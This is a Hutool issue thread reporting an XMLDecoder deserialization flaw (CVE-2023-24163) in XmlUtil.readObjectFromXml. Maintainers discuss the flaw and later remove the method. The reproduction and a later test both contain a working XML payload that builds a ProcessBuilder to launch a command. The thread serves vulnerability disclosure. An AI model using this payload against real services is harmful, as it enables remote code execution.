3.9K Star 22.8K Fork 7.9K

GVPdromara/hutool

 / 详情

XmlUtil 反序列化漏洞

已完成
创建于  
2023-01-13 14:55

描述

Hutool 提供了 XML 工具类,使用 XmlUtil.readObjectFromXml 来解释不受信任 XML 字符串时,可能容易受到远程代码执行攻击

分析

程序会调用 XMLDecoder.readObject 解析 XML 字符串,造成反序列化漏洞

cn.hutool.core.util.XmlUtil#readObjectFromXml
输入图片说明

复现

XmlUtil.readObjectFromXml("<java>\n" +
        "    <object class=\"java.lang.ProcessBuilder\">\n" +
        "        <array class=\"java.lang.String\" length=\"1\">\n" +
        "            <void index=\"0\">\n" +
        "                <string>calc</string>\n" +
        "            </void>\n" +
        "        </array>\n" +
        "        <void method=\"start\"></void>\n" +
        "    </object>\n" +
        "</java>\n");

输入图片说明

评论 (13)

JOHNSON 创建了任务
JOHNSON 修改了描述
JOHNSON 修改了描述
展开全部操作日志

这玩意我记得jdk1.4-jdk11都有吧,只要用了官方的

CVE-2017-3506、CVE-2017-10271、CVE-2019-2729
不行到时候糊层黑名单吧

CherryRum 添加了
 
question
标签

严格来说这是JDK的漏洞,Hutool只是做了一层封装。

看来只能干掉这个方法?

Looly 任务状态待办的 修改为已完成

我在注释中增加了警告:输入图片说明

没看懂,加了个告警算处理了?
还是意思是没法修复,只要jdk自身没有xmldecode的问题或者加了黑名单,hutool的引入就不会产生安全问题?

是没法修复……

JDK的XmlDecoder产生的漏洞,作为工具类包装没法解决问题。

同样存在漏洞的方法还有IoUtil.readObject方法,存在反序列化漏洞,这些方法的漏洞在JDK中本身就存在,而且JDK的做法是要求用户自行检查内容,作为工具类,这块没法解决。

输入图片说明

同样,你可以看下ScriptUtil.eval,同样存在执行非法系统命令这类严重的漏洞,这些方法使用中,都应该由用户检查脚本本身的安全性。

Looly 添加了
 
enhancement
标签
Looly 移除了
 
question
标签

没有用到这个方法就不会有问题?

是滴。后续考虑删除这个方法。

可以在新版本中把这个方法拿掉吗?
过不了很多公司的安全扫描,影响Hutool在正规项目中的推广。公司不允许项目包中存在High以上漏洞的第三方包。 :sweat:
扫描结果

这个问题处理过了吗,有没有升级的没有critical的版本可以使用

但是待反序列化的内容是否存在安全问题,难道不应该是由使用者自己去判断么,为什么要等着让该方法的提供者来判断

5.8.21 CVE-2023-24163 fixed.

删除的代码 readObjectFromXml

package org.dromara.hutool.core;

import org.dromara.hutool.core.io.IoUtil;
import org.dromara.hutool.core.io.file.FileUtil;
import org.dromara.hutool.core.text.StrUtil;
import org.dromara.hutool.core.xml.XmlUtil;
import org.junit.jupiter.api.Test;
import org.xml.sax.InputSource;

import java.beans.XMLDecoder;
import java.io.File;

/**
 * 描述信息
 *
 * @author dazer
 * @date 2024/2/20 14:12
 **/
public class XmlUtilsTest extends XmlUtil {
	// ---------------------------------------------------------------------------------------- Private method end

	/**
	 * 从XML中读取对象 Reads serialized object from the XML file.
	 *
	 * @param <T>    对象类型
	 * @param source XML文件
	 * @return 对象
	 */
	public static <T> T readObjectFromXml(final File source) {
		return readObjectFromXml(new InputSource(FileUtil.getInputStream(source)));
	}

	/**
	 * 从XML中读取对象 Reads serialized object from the XML file.
	 *
	 * @param <T>    对象类型
	 * @param xmlStr XML内容
	 * @return 对象
	 * @since 3.2.0
	 */
	public static <T> T readObjectFromXml(final String xmlStr) {
		return readObjectFromXml(new InputSource(StrUtil.getReader(xmlStr)));
	}

	/**
	 * 从XML中读取对象 Reads serialized object from the XML file.
	 *
	 * @param <T>    对象类型
	 * @param source {@link InputSource}
	 * @return 对象
	 * @since 3.2.0
	 */
	@SuppressWarnings("unchecked")
	public static <T> T readObjectFromXml(final InputSource source) {
		Object result;
		XMLDecoder xmldec = null;
		try {
			xmldec = new XMLDecoder(source);
			result = xmldec.readObject();
		} finally {
			IoUtil.closeQuietly(xmldec);
		}
		return (T) result;
	}

	@Test
	public void  test() {
		XmlUtil.readObjectFromXml("<java>\n" +
			"    <object class=\"java.lang.ProcessBuilder\">\n" +
			"        <array class=\"java.lang.String\" length=\"1\">\n" +
			"            <void index=\"0\">\n" +
			"                <string>calc</string>\n" +
			"            </void>\n" +
			"        </array>\n" +
			"        <void method=\"start\"></void>\n" +
			"    </object>\n" +
			"</java>\n");
	}
}


登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(9)
5611670 henan is unique oldletter 1638888421 1463 loolly admin 1578914022 7446616 edison cyh 1639911151 93420 dazer007 1616119748 1974101 webdjango 1626927187
Java
1
https://gitee.com/dromara/hutool.git
git@gitee.com:dromara/hutool.git
dromara
hutool
hutool

搜索帮助

Cb406eda 1850385 E526c682 1850385